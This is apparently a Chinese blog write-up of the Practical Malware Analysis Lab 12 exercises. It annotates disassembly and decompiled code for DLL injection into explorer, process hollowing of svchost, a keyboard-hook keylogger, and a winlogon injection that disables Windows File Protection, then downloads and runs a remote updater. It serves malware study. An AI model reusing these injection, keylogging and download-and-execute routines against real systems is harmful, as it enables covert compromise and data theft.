恶意代码分析实战 笔记 恶意代码分析实战 Lab12 Ivoripuion 2023-10-16 2023-10-21 Lab12-01 简要分析 Lab12-01.exe首先导入了psapi.dll中的一些函数的地址EnumProcessModules,GetModuleBaseNameA以及EnumProcesses:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 .text: 00401115  C7 85  E8 FE FF FF 00  00 +                mov      [ebp +var_118], 0 .text: 0040111F 68  B0 60  40  00                           push     offset ProcName .text: 00401124  68  A4 60  40  00                           push     offset LibFileName .text: 00401129  FF 15  24  50  40  00                        call     ds :LoadLibraryA.text: 0040112F 50                                       push     eax              .text: 00401130  FF 15  20  50  40  00                        call     ds :GetProcAddress.text: 00401136  A3 14  87  40  00                           mov      dword_408714, eax .text: 0040113B 68  90  60  40  00                           push     offset aGetmodulebasen .text: 00401140  68  A4 60  40  00                           push     offset LibFileName .text: 00401145  FF 15  24  50  40  00                        call     ds :LoadLibraryA.text: 0040114B 50                                       push     eax              .text: 0040114C FF 15  20  50  40  00                        call     ds :GetProcAddress.text: 00401152  A3 0C 87  40  00                           mov      dword_40870C, eax .text: 00401157  68  80  60  40  00                           push     offset aEnumprocesses .text: 0040115C 68  A4 60  40  00                           push     offset LibFileName .text: 00401161  FF 15  24  50  40  00                        call     ds :LoadLibraryA.text: 00401167  50                                       push     eax              .text: 00401168  FF 15  20  50  40  00                        call     ds :GetProcAddress
然后获取Lab12-01.dll的位置:
1 2 3 4 5 6 7 8 9 10 11 .text: 00401179  51                                       push     ecx              .text: 0040117A 68  04  01  00  00                           push     104h             .text: 0040117F FF 15  1C 50  40  00                        call     ds :GetCurrentDirectoryA.text: 00401185  68  7C 60  40  00                           push     offset String2  .text: 0040118A 8D  95  FC FE FF FF                       lea      edx , [ebp +Lab12_dll_addr].text: 00401190  52                                       push     edx              .text: 00401191  FF 15  18  50  40  00                        call     ds :lstrcatA.text: 00401197  68  6C 60  40  00                           push     offset aLab1201Dll .text: 0040119C 8D  85  FC FE FF FF                       lea      eax , [ebp +Lab12_dll_addr].text: 004011A2 50                                       push     eax              .text: 004011A3 FF 15  18  50  40  00                        call     ds :lstrcatA
获取当前的进程列表:
1 2 3 4 5 .text: 004011AF 51                                       push     ecx              .text: 004011B0 68  00  10  00  00                           push     1000h            .text: 004011B5 8D  95  E4 EE FF FF                       lea      edx , [ebp +Process_Id_Enum].text: 004011BB 52                                       push     edx              .text: 004011BC FF 15  10  87  40  00                        call     Enumprocesses_408710
然后搜索当前的进程列表,判断是否存在explorer进程:
1 2 3 4 .text: 00401226  8B 8D  D4 EE FF FF                       mov      ecx , [ebp +var_112C].text: 0040122C 8B 94  8D  E4 EE FF FF                    mov      edx , [ebp +ecx *4 +Process_Id_Enum].text: 00401233  52                                       push     edx              .text: 00401234  E8 C7 FD FF FF                          call     check_explorer_401000
存在该进程则获取进程句柄:
1 2 3 4 .text: 00401258  51                                       push     ecx              .text: 00401259  6A 00                                    push     0                .text: 0040125B 68  3A 04  00  00                           push     43Ah             .text: 00401260  FF 15  04  50  40  00                        call     ds :OpenProcess
在explorer进程中开辟一段空间,将Lab12-01.dll的内容写入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 .text: 0040128C 6A 04                                    push     4                .text: 0040128E 68  00  30  00  00                           push     3000h            .text: 00401293  68  04  01  00  00                           push     104h             .text: 00401298  6A 00                                    push     0                .text: 0040129A 8B 95  E4 FE FF FF                       mov      edx , [ebp +explorer_handle].text: 004012A0 52                                       push     edx              .text: 004012A1 FF 15  14  50  40  00                        call     ds :VirtualAllocEx............. .text: 004012BE 6A 00                                    push     0                .text: 004012C0 68  04  01  00  00                           push     104h             .text: 004012C5 8D  85  FC FE FF FF                       lea      eax , [ebp +Lab12_dll_addr].text: 004012CB 50                                       push     eax              .text: 004012CC 8B 8D  D8 EE FF FF                       mov      ecx , [ebp +address_in_explorer].text: 004012D2 51                                       push     ecx              .text: 004012D3 8B 95  E4 FE FF FF                       mov      edx , [ebp +explorer_handle].text: 004012D9 52                                       push     edx              .text: 004012DA FF 15  10  50  40  00                        call     ds :WriteProcessMemory.text: 004012E0 68  5C 60  40  00                           push     offset ModuleName .text: 004012E5 FF 15  0C 50  40  00                        call     ds :GetModuleHandleA
获取kernel32.dll中LoadLibraryA函数地址:
1 2 3 4 5 6 7 .text: 004012E0 68  5C 60  40  00                           push     offset kernel32dll .text: 004012E5 FF 15  0C 50  40  00                        call     ds :GetModuleHandleA.text: 004012EB 89  85  DC EE FF FF                       mov      [ebp +kernel32dll_module], eax .text: 004012F1 68  4C 60  40  00                           push     offset aLoadlibrarya .text: 004012F6 8B 85  DC EE FF FF                       mov      eax , [ebp +kernel32dll_module].text: 004012FC 50                                       push     eax              .text: 004012FD FF 15  20  50  40  00                        call     ds :GetProcAddress
通过CreateRemoteThread开启一个在进程explorer中,起始地址为当前系统中LoadLibraryA函数地址,传递参数为Lab12-01.dll的线程,以达成将Lab12-01.dll注入到explorer中的目的:
1 2 3 4 5 6 7 8 9 10 11 12 .text: 00401303  89  85  CC EE FF FF                       mov      [ebp +loadlibrary_addr], eax .text: 00401309  6A 00                                    push     0                .text: 0040130B 6A 00                                    push     0                .text: 0040130D  8B 8D  D8 EE FF FF                       mov      ecx , [ebp +address_in_explorer].text: 00401313  51                                       push     ecx              .text: 00401314  8B 95  CC EE FF FF                       mov      edx , [ebp +loadlibrary_addr].text: 0040131A 52                                       push     edx              .text: 0040131B 6A 00                                    push     0                .text: 0040131D  6A 00                                    push     0                .text: 0040131F 8B 85  E4 FE FF FF                       mov      eax , [ebp +explorer_handle].text: 00401325  50                                       push     eax              .text: 00401326  FF 15  08  50  40  00                        call     ds :CreateRemoteThread
Lab12-01.dll是弹出一个按钮为”Press OK to reboot”,名称为”Practical Malware Analysis 循环次数”,每隔一分钟弹出一次的弹窗的方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 BOOL __stdcall DllMain (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)    DWORD ThreadId;    if  ( fdwReason == 1  )     CreateThread (0 , 0 , sub_10001030, 0 , 0 , &ThreadId);   return  1 ; } void  __stdcall sub_10001030 (LPVOID lpThreadParameter)   int  i;    char  Parameter;    for  ( i = 0 ; ; ++i )   {     sprintf (&Parameter, aPracticalMalwa, i);     CreateThread (0 , 0 , msg_box, &Parameter, 0 , 0 );     Sleep (0xEA60 u);   } } DWORD __stdcall msg_box (LPVOID lpThreadParameter)    MessageBoxA (0 , Text, lpThreadParameter, 0x40040 u);   return  3 ; } 
Q1:在你运行恶意代码可执行文件时, 会发生什么? 会每隔一分钟弹出一个窗口。
Q2:哪个进程会被注入? 进程”explorer”被注入。
Q3:你如何能够让恶意代码停止弹出窗口? 重启explorer进程。
Q4:这个恶意代码样本是如何工作的? Lab12-01.exe通过将Lab12-01.dll注入到explorer进程中,在explorer进程中启动Lab12-01.dll。Lab12-01.dll每隔一分钟弹出一个按钮为”Press OK to reboot”,名称为”Practical Malware Analysis 循环次数”的弹窗。
Lab12-02 简要分析 首先判断程序有无参数:
1 2 3 4 5 .text: 004014E0                 push     ebp .text: 004014E1                 mov      ebp , esp .text: 004014E3                 sub      esp , 408h .text: 004014E9                 cmp      [ebp +argc], 2 .text: 004014ED                 jnb      loc_401573
获得模块句柄:
1 2 .text: 004014FA                 push     0                .text: 004014FC                 call     ds :GetModuleHandle
获得系统svchost完整路径:
1 2 3 4 5 .text: 00401508                  push     400h             .text: 0040150D                  lea      eax , [ebp +ApplicationName].text: 00401513                  push     eax              .text: 00401514                  push     offset aSvchostExe .text: 00401519                  call     svchost_whole_addr_40149D
从LOCALIZATION中解压一个资源,该资源被简单的加密了:
1 2 .text: 00401527                  push     ecx              .text: 00401528                  call     get_source_40132C
解密函数:
1 2 3 4 5 6 7 8 9 10 11 12 int  __cdecl sub_401000 (int  a1, unsigned  int  a2, char  a3)   int  result;    unsigned  int  i;    for  ( i = 0 ; i < a2; ++i )   {     *(i + a1) ^= a3;     result = i + 1 ;   }   return  result; } 
然后执行替换进程的操作:
1 2 3 4 .text: 0040153C                 push     edx              .text: 0040153D                  lea      eax , [ebp +ApplicationName].text: 00401543                  push     eax              .text: 00401544                  call     replace_4010EA
replace_4010EA首先创建一个挂起的进程:
1 2 3 4 5 6 7 8 9 10 11 12 13 .text: 00401148                  push     edx              .text: 00401149                  lea      eax , [ebp +StartupInfo].text: 0040114C                 push     eax              .text: 0040114D                  push     0                .text: 0040114F                 push     0                .text: 00401151                  push     4                .text: 00401153                  push     0                .text: 00401155                  push     0                .text: 00401157                  push     0                .text: 00401159                  push     0                .text: 0040115B                 mov      ecx , [ebp +lpApplicationName].text: 0040115E                 push     ecx              .text: 0040115F                 call     ds :CreateProcessA
对进程进行一些初始化:
1 2 3 4 lpContext = VirtualAlloc (0 , 0x2CC u, 0x1000 u, 4u ); lpContext->ContextFlags = 65543 ; if  ( !GetThreadContext (ProcessInformation.hThread, lpContext) )  return  0 ; 
获取创建的进程的被加载的文件的起始地址:
1 2 3 4 5 6 7 8 9 10 11 .text: 004011B8                 push     0                .text: 004011BA                 push     4                .text: 004011BC                 lea      edx , [ebp +Buffer].text: 004011BF                 push     edx              .text: 004011C0                 mov      eax , [ebp +lpContext].text: 004011C3                 mov      ecx , [eax +0A4h ].text: 004011C9                 add      ecx , 8 .text: 004011CC                 push     ecx              .text: 004011CD                 mov      edx , [ebp +ProcessInformation. hProcess].text: 004011D0                 push     edx              .text: 004011D1                 call     ds :ReadProcessMemory
获取ntdll.dll中的NtUnmapViewOfSection函数地址:
1 2 3 4 5 .text: 004011D7                 push     offset ProcName .text: 004011DC                 push     offset ModuleName .text: 004011E1                 call     ds :GetModuleHandleA.text: 004011E7                 push     eax              .text: 004011E8                 call     ds :GetProcAddress
然后为上述的进程分配一段空间:
1 2 3 4 5 6 7 8 lpBaseAddress = VirtualAllocEx(                   ProcessInformation.hProcess,                   v8->OptionalHeader.ImageBase,                   v8->OptionalHeader.SizeOfImage,                   0x3000u,                   0x40u); if ( !lpBaseAddress )   return 0; 
将一个文件的内容写到进程中:
1 2 3 4 5 6 7 8 9 10 11 WriteProcessMemory (ProcessInformation.hProcess, lpBaseAddress, lpAddress, v8->OptionalHeader.SizeOfHeaders, 0 );for  ( i = 0 ; i < v8->FileHeader.NumberOfSections; ++i ){   v4 = (lpAddress + 40  * i + v13->e_lfanew + 248 );   WriteProcessMemory (     ProcessInformation.hProcess,     lpBaseAddress + v4->VirtualAddress,     lpAddress + v4->PointerToRawData,     v4->SizeOfRawData,     0 ); } 
最后是进程的替换工作:
1 2 SetThreadContext (ProcessInformation.hThread, lpContext);ResumeThread (ProcessInformation.hThread);
所以主函数中:
1 replace_4010EA (&svchost_addr, lpAddress);
目的是为了将系统的svchost进程替换为从LOCALIZATION节中解压的一个资源。
Q1:这个程序的目的是什么? 通过进程替换的方法,从资源节LOCALIZATION中启动一个程序。
Q2:启动器恶意代码是如何隐蔽执行的? 使用了进程替换的技术。
Q3:恶意代码的负载存储在哪里? 存储在自身PE文件的LOCALIZATION节中。
Q4:恶意负载是如何被保护的? 通过简单的亦或操作进行加密存储到资源节中。
1 2 3 4 5 for  ( i = 0 ; i < a2; ++i ){   *(i + a1) ^= a3;   result = i + 1 ; } 
Q5:字符串列表是如何被保护的? 使用了亦或操作。
Lab12-03 简要分析 Lab12-03.exe首先调用AllocConsole为调用进程分配一个新的控制台:
1 2 .text: 00401006                  mov      [ebp +hhk], 0 .text: 0040100D                  call     ds :AllocConsole
调出控制台窗口:
1 2 3 4 5 6 7 8 9 .text: 00401015                  push     offset ClassName .text: 0040101A                 call     ds :FindWindowA.text: 00401020                  mov      [ebp +ConsoleWindowClass_handle], eax .text: 00401023                  cmp      [ebp +ConsoleWindowClass_handle], 0 .text: 00401027                  jz       short loc_401035.text: 00401029                  push     0                .text: 0040102B                 mov      eax , [ebp +ConsoleWindowClass_handle].text: 0040102E                 push     eax              .text: 0040102F                 call     ds :ShowWindow
然后通过SetWindowsHookExA函数使用fn函数进行挂钩:
1 2 3 4 .text: 00401053                  push     eax              .text: 00401054                  push     offset fn       .text: 00401059                  push     0Dh              .text: 0040105B                 call     ds :SetWindowsHookExA
hook函数体如下:
1 2 3 4 5 6 LRESULT __stdcall fn (int  code, WPARAM wParam, KBDLLHOOKSTRUCT *lParam)    if  ( !code && (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN) )     record_input_4010C7 (lParam->vkCode);   return  CallNextHookEx (0 , code, wParam, lParam); } 
当出现系统按键消息以及普通按键消息就使用record_input_4010C7函数将消息进行处理。
record_input_4010C7是一个击键记录器,首先打开”practicalmalwareanalysis.log”:
1 2 .text: 004010E6                 push     offset FileName .text: 004010EB                 call     ds :CreateFileA
根据刚才hook的消息队列中的vkCode即输入内容进行记录,写入到”practicalmalwareanalysis.log”文件中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 if  ( Buffer < 0x27  || Buffer > 0x40  )  {     if  ( Buffer <= 0x40  || Buffer >= 0x5B  )     {       switch  ( Buffer )       {         case  8 :           v4 = strlen (aBackspace);           WriteFile (hFile, aBackspace_0, v4, &NumberOfBytesWritten, 0 );           break ;         case  9 :           WriteFile (hFile, aTab, 5u , &NumberOfBytesWritten, 0 );           break ;         case  13 :           WriteFile (hFile, aEnter, 8u , &NumberOfBytesWritten, 0 );           break ;         case  16 :           WriteFile (hFile, aShift, 7u , &NumberOfBytesWritten, 0 );           break ;         case  17 :           WriteFile (hFile, aCtrl, 6u , &NumberOfBytesWritten, 0 );           break ;         case  20 :           v5 = strlen (aCapsLock);           WriteFile (hFile, aCapsLock_0, v5, &NumberOfBytesWritten, 0 );           break ;         case  32 :           WriteFile (hFile, asc_405074, 1u , &NumberOfBytesWritten, 0 );           break ;         case  46 :           WriteFile (hFile, aDel, 5u , &NumberOfBytesWritten, 0 );           break ;         case  96 :           WriteFile (hFile, a0, 1u , &NumberOfBytesWritten, 0 );           break ;         case  97 :           WriteFile (hFile, a1, 1u , &NumberOfBytesWritten, 0 );           break ;         case  98 :           WriteFile (hFile, a2, 1u , &NumberOfBytesWritten, 0 );           break ;         case  99 :           WriteFile (hFile, a3, 1u , &NumberOfBytesWritten, 0 );           break ;         case  100 :           WriteFile (hFile, a4, 1u , &NumberOfBytesWritten, 0 );           break ;         case  101 :           WriteFile (hFile, a5, 1u , &NumberOfBytesWritten, 0 );           break ;         case  102 :           WriteFile (hFile, a6, 1u , &NumberOfBytesWritten, 0 );           break ;         case  103 :           WriteFile (hFile, a7, 1u , &NumberOfBytesWritten, 0 );           break ;         case  104 :           WriteFile (hFile, a8, 1u , &NumberOfBytesWritten, 0 );           break ;         case  105 :           WriteFile (hFile, a9, 1u , &NumberOfBytesWritten, 0 );           break ;         default :           break ;       }     }     else      {       Buffer += 32 ;       WriteFile (hFile, &Buffer, 1u , &NumberOfBytesWritten, 0 );     }   } else {   WriteFile (hFile, &Buffer, 1u , &NumberOfBytesWritten, 0 ); } 
挂钩函数完成后,使用GetMessageA获取消息到程序进程中:
1 2 3 4 5 6 7 8 9 .text:00401064  loc_401064:                             ; CODE XREF: _main+76 ↓j .text:00401064                  push    0                ; wMsgFilterMax .text:00401066                  push    0                ; wMsgFilterMin .text:00401068                  push    0                ; hWnd .text:0040106 A                 push    0                ; lpMsg .text:0040106 C                 call    ds:GetMessageA .text:00401072                  test    eax, eax .text:00401074                  jz      short  loc_401078 .text:00401076                  jmp     short  loc_401064 
最后调用UnhookWindowsHookEx结束挂钩:
1 2 3 4 .text: 00401078  loc_401078:                             .text: 00401078                  mov      ecx , [ebp +hhk].text: 0040107B                 push     ecx              .text: 0040107C                 call     ds :UnhookWindowsHookEx
Q1:这个恶意负载的目的是什么? 是一个击键记录器,将键盘的输入信息记录到同目录下的”practicalmalwareanalysis.log”文件中。
Q2:恶意负载是如何注入自身的? 使用了挂钩注入,hook了按键消息。
Q3:这个程序还创建了哪些其他文件? 在同目录下创建了”practicalmalwareanalysis.log”文件。
Lab12-04 简要分析 Lab12-04的main函数首先通过GetProcAddress方法获取几个函数地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 .text: 004013AA                 push     offset ProcName .text: 004013AF                 push     offset aPsapiDll .text: 004013B4                 call     ds :LoadLibraryA.text: 004013BA                 push     eax              .text: 004013BB                 call     ds :GetProcAddress.text: 004013C1                 mov      EnumProcessModules_40312C, eax .text: 004013C6                 push     offset aGetmodulebasen .text: 004013CB                 push     offset aPsapiDll_0 .text: 004013D0                 call     ds :LoadLibraryA.text: 004013D6                 push     eax              .text: 004013D7                 call     ds :GetProcAddress.text: 004013DD                  mov      GetModuleBaseNameA_403128, eax .text: 004013E2                 push     offset aEnumprocesses .text: 004013E7                 push     offset aPsapiDll_1 .text: 004013EC                 call     ds :LoadLibraryA.text: 004013F2                 push     eax              .text: 004013F3                 call     ds :GetProcAddress
EnumProcessModules_40312C,GetModuleBaseNameA_403128以及EnumProcesses_403124分别用于枚举进程模块,模块名称以及枚举进程列表。
然后针对当前的进程列表使用sub_401000函数进程处理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 if  ( !EnumProcesses_403124 (process_enum, 4096 , &v14) )  return  1 ; process_enum_length = v14 >> 2 ; for  ( i = 0 ; i < process_enum_length + 1 ; ++i ){   if  ( process_enum[i] )   {     v19 = sub_401000 (process_enum[i]);     if  ( v19 )     {       v11 = process_enum[i];       break ;     }   } } 
sub_401000函数用于找到有”winlogon.exe”模块的进程。
sub_401000函数首先初始化两个字符串:
1 2 strcpy (Str2, "winlogon.exe" );strcpy (Str1, "<not real>" );
打开当前进程,枚举当前进程的模块列表,并获取模块名称:
1 2 3 process_handle = OpenProcess (0x410 u, 0 , process_id); if  ( process_handle && EnumProcessModules_40312C (process_handle, &v3, 4 , &v2) )  GetModuleBaseNameA_403128 (process_handle, v3, Str1, 0x104 u); 
找到包含”winlogon.exe”的进程函数返回1否则返回0:
1 2 3 4 5 6 7 8 9 10 11 if  ( !stricmp (Str1, Str2) ){   CloseHandle (process_handle);   result = 1 ; } else {   CloseHandle (process_handle);   result = 0 ; } return  result;
然后调用CreateRemoteThread_401174:
1 2 3 .text: 004014E4                 mov      ecx , [ebp +winlogon_id].text: 004014EA                 push     ecx              .text: 004014EB                 call     CreateRemoteThread_401174
CreateRemoteThread_401174内部函数主体如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int  __cdecl sub_401174 (DWORD dwProcessId)   HMODULE dll;    HANDLE hProcess;    if  ( elevation_authority (aSedebugprivile) )     return  0 ;   dll = LoadLibraryA (LibFileName);                 lpStartAddress = GetProcAddress (dll, 2 );   hProcess = OpenProcess (PROCESS_ALL_ACCESS, 0 , dwProcessId);   if  ( !hProcess )     return  0 ;   CreateRemoteThread (hProcess, 0 , 0 , lpStartAddress, 0 , 0 , 0 );   return  1 ; } 
首先进行提权函数elevation_authority(aSedebugprivile),然后向winlogon.exe中注入sfc_os.dll中序号为2的函数。
此序号为2的函数是一个导出函数,可以禁用windows的文件保护机制。
进程注入完成后,拼接出字符串”wupdmgr.exe”的系统地址:
1 2 3 4 5 6 7 8 9 10 11 12 .text: 00401506                  push     10Eh             .text: 0040150B                 lea      edx , [ebp +Buffer].text: 00401511                  push     edx              .text: 00401512                  call     ds :GetWindowsDirectoryA.text: 00401518                  push     offset aSystem32Wupdmg_0 .text: 0040151D                  lea      eax , [ebp +Buffer].text: 00401523                  push     eax .text: 00401524                  push     offset aSS_0    .text: 00401529                  push     10Eh             .text: 0040152E                 lea      ecx , [ebp +Dest].text: 00401534                  push     ecx              .text: 00401535                  call     ds :_snprint
拼接出”winup.exe”的临时地址:
1 2 3 4 5 6 7 8 9 10 11 .text: 00401544                  push     edx              .text: 00401545                  push     10Eh             .text: 0040154A                 call     ds :GetTempPathA.text: 00401550                  push     offset aWinupExe .text: 00401555                  lea      eax , [ebp +var_110].text: 0040155B                 push     eax .text: 0040155C                 push     offset aSS_1    .text: 00401561                  push     10Eh             .text: 00401566                  lea      ecx , [ebp +NewFileName].text: 0040156C                 push     ecx              .text: 0040156D                  call     ds :_snprintf
将wupdmgr.exe复制到临时地址并命名为”winup.exe”,并在main最后call sub_4011FC():
1 2 3 4 5 6 7 .text: 00401573                  add      esp , 14h .text: 00401576                  lea      edx , [ebp +NewFileName].text: 0040157C                 push     edx              .text: 0040157D                  lea      eax , [ebp +Dest].text: 00401583                  push     eax              .text: 00401584                  call     ds :MoveFileA.text: 0040158A                 call     sub_4011FC
sub_4011FC函数用于注入system32\wupdmgr.exe文件。
首先从Bin #101中提取资源:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 .text: 004012A7                 mov      [ebp +hModule], eax .text: 004012AA                 push     offset Type     .text: 004012AF                 push     offset Name     .text: 004012B4                 mov      eax , [ebp +hModule].text: 004012B7                 push     eax              .text: 004012B8                 call     ds :FindResourceA.text: 004012BE                 mov      [ebp +hResInfo], eax .text: 004012C4                 mov      ecx , [ebp +hResInfo].text: 004012CA                 push     ecx              .text: 004012CB                 mov      edx , [ebp +hModule].text: 004012CE                 push     edx              .text: 004012CF                 call     ds :LoadResource.text: 004012D5                 mov      [ebp +lpBuffer], eax .text: 004012D8                 mov      eax , [ebp +hResInfo].text: 004012DE                 push     eax              .text: 004012DF                 mov      ecx , [ebp +hModule].text: 004012E2                 push     ecx              .text: 004012E3                 call     ds :SizeofResource.text: 004012E9                 mov      [ebp +nNumberOfBytesToWrite], eax .text: 004012EF                 push     0                .text: 004012F1                 push     0                .text: 004012F3                 push     2                .text: 004012F5                 push     0                .text: 004012F7                 push     1                .text: 004012F9                 push     40000000h        .text: 004012FE                 lea      edx , [ebp +System32Wupdmg_addr].text: 00401304                  push     edx              .text: 00401305                  call     ds :CreateFileA
将提取的资源写入system32\wupdmgr.exe:
1 2 3 4 5 6 7 8 9 10 11 .text: 0040130B                 mov      [ebp +hFile], eax .text: 00401311                  push     0                .text: 00401313                  lea      eax , [ebp +NumberOfBytesWritten].text: 00401316                  push     eax              .text: 00401317                  mov      ecx , [ebp +nNumberOfBytesToWrite].text: 0040131D                  push     ecx              .text: 0040131E                 mov      edx , [ebp +lpBuffer].text: 00401321                  push     edx              .text: 00401322                  mov      eax , [ebp +hFile].text: 00401328                  push     eax              .text: 00401329                  call     ds :WriteFile
这里由于进行了文件保护权限的禁用,所以修改系统文件能成功。
后台启动wupdmgr.exe:
1 2 3 4 .text: 0040133C                 push     0                .text: 0040133E                 lea      edx , [ebp +System32Wupdmg_addr].text: 00401344                  push     edx              .text: 00401345                  call     ds :WinExec
首先获得winup.exe的具体路径:
1 2 GetTempPathA (0x10E u, &tmp_addr);snprintf (&Dest, 0x10E u, Format, &tmp_addr, aWinupExe);
运行该程序:
1 2 3 4 .text: 004010A8                 push     5                .text: 004010AA                 lea      eax , [ebp +Dest].text: 004010B0                 push     eax              .text: 004010B1                 call     ds :WinExec
获得wupdmgrd.exe的具体地址:
1 2 3 4 5 6 7 8 9 10 11 12 .text: 004010B7                 push     10Eh             .text: 004010BC                 lea      ecx , [ebp +var_330].text: 004010C2                 push     ecx              .text: 004010C3                 call     ds :GetWindowsDirectoryA.text: 004010C9                 push     offset aSystem32Wupdmg .text: 004010CE                 lea      edx , [ebp +var_330].text: 004010D4                 push     edx .text: 004010D5                 push     offset aSS_0    .text: 004010DA                 push     10Eh             .text: 004010DF                 lea      eax , [ebp +CmdLine].text: 004010E5                 push     eax              .text: 004010E6                 call     ds :_snprintf
下载”http://www.practicalmalwareanalysis.com/updater.exe"并存放到wupdmgrd.exe中: 
1 2 3 4 5 6 7 .text: 004010EF                 push     0                .text: 004010F1                 push     0                .text: 004010F3                 lea      ecx , [ebp +CmdLine].text: 004010F9                 push     ecx              .text: 004010FA                 push     offset aHttpWwwPractic .text: 004010FF                 push     0                .text: 00401101                  call     URLDownloadToFileA
启动wupdmgrd.exe:
1 2 3 4 .text: 00401115                  push     0                .text: 00401117                  lea      edx , [ebp +CmdLine].text: 0040111D                  push     edx              .text: 0040111E                 call     ds :WinExec
Q1:位置0x401000的代码完成了什么功能? sub_401000函数用于找到有”winlogon.exe”模块的进程。
Q2:代码注入了哪个进程? 注入了winlogon.exe进程。
Q3:使用LoadlibraryA装载了哪个DLL程序? 装载了sfc_os.dll,用于禁用文件保护。
Q4:传递给CreateRemoteThread调用的第4个参数是什么? 1 2 lpStartAddress = GetProcAddress (dll, 2 ); CreateRemoteThread (winlogon_handle, 0 , 0 , lpStartAddress, 0 , 0 , 0 );
参数为sfc_os.dll中序号为2的函数,该函数为SfcTerminateWatcherThread,用于禁用windows的文件保护机制。
Q5:二进制主程序释放出了哪个恶意代码? 释放了资源节中的BIN101到system32\wupdmgr.exe中。
Q6:释放出恶意代码的目的是什么? 首先注入winlogon进程,禁用文件保护机制,然后释放恶意代码BIN101到system32\wupdmgr.exe中,并且调用该程序,来远程下载”http://www.practicalmalwareanalysis.com/updater.exe"。